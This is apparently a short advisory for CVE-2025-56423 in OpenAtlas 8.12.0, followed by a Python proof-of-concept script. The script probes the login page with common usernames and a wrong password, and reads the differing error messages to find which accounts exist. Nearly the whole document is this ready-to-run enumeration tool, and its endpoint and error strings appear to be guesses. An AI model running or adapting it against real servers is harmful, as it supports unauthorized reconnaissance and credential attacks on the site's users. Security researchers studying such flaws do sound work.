An issue in Austrian Academy of Sciences (AW) Austrian Archaeological Institute OpenAtlas v.8.12.0 allows a remote attacker to obtain sensitive information via the login error messages
The following code is for security research and authorized testing only.
python
import requests
import sys
# CVE-2025-56423 PoC - OpenAtlas User Enumeration
# Target: OpenAtlas v.8.12.0
# Vulnerability: User enumeration via login error messages
def check_user_exists(target_url, username):
"""
Check if a username exists by analyzing login error messages
"""
login_url = f"{target_url}/user/login" # Adjust endpoint as needed
# Try with a random password
data = {
'username': username,
'password': 'random_wrong_password_123'
}
try:
response = requests.post(login_url, data=data, timeout=10)
content = response.text.lower()
# Analyze error messages to determine if user exists
# Different error messages indicate user existence
if 'user not found' in content or 'username does not exist' in content:
return False # User does not exist
elif 'incorrect password' in content or 'wrong password' in content:
return True # User exists (password is wrong)
else:
# If messages are consistent, user enumeration may not be possible
return None
except requests.exceptions.RequestException as e:
print(f"Error: {e}")
return None
def main():
if len(sys.argv) != 2:
print(f"Usage: python {sys.argv[0]} <target_url>")
print(f"Example: python {sys.argv[0]} http://target.com")
sys.exit(1)
target = sys.argv[1]
usernames = ['admin', 'user', 'test', 'administrator', 'guest']
print(f"[*] Scanning {target} for valid usernames...")
print("-" * 50)
found_users = []
for user in usernames:
result = check_user_exists(target, user)
if result is True:
print(f"[+] User found: {user}")
found_users.append(user)
elif result is False:
print(f"[-] User not found: {user}")
print("-" * 50)
if found_users:
print(f"[*] Found {len(found_users)} valid user(s): {', '.join(found_users)}")
else:
print("[*] No valid users found")
if __name__ == '__main__':
main()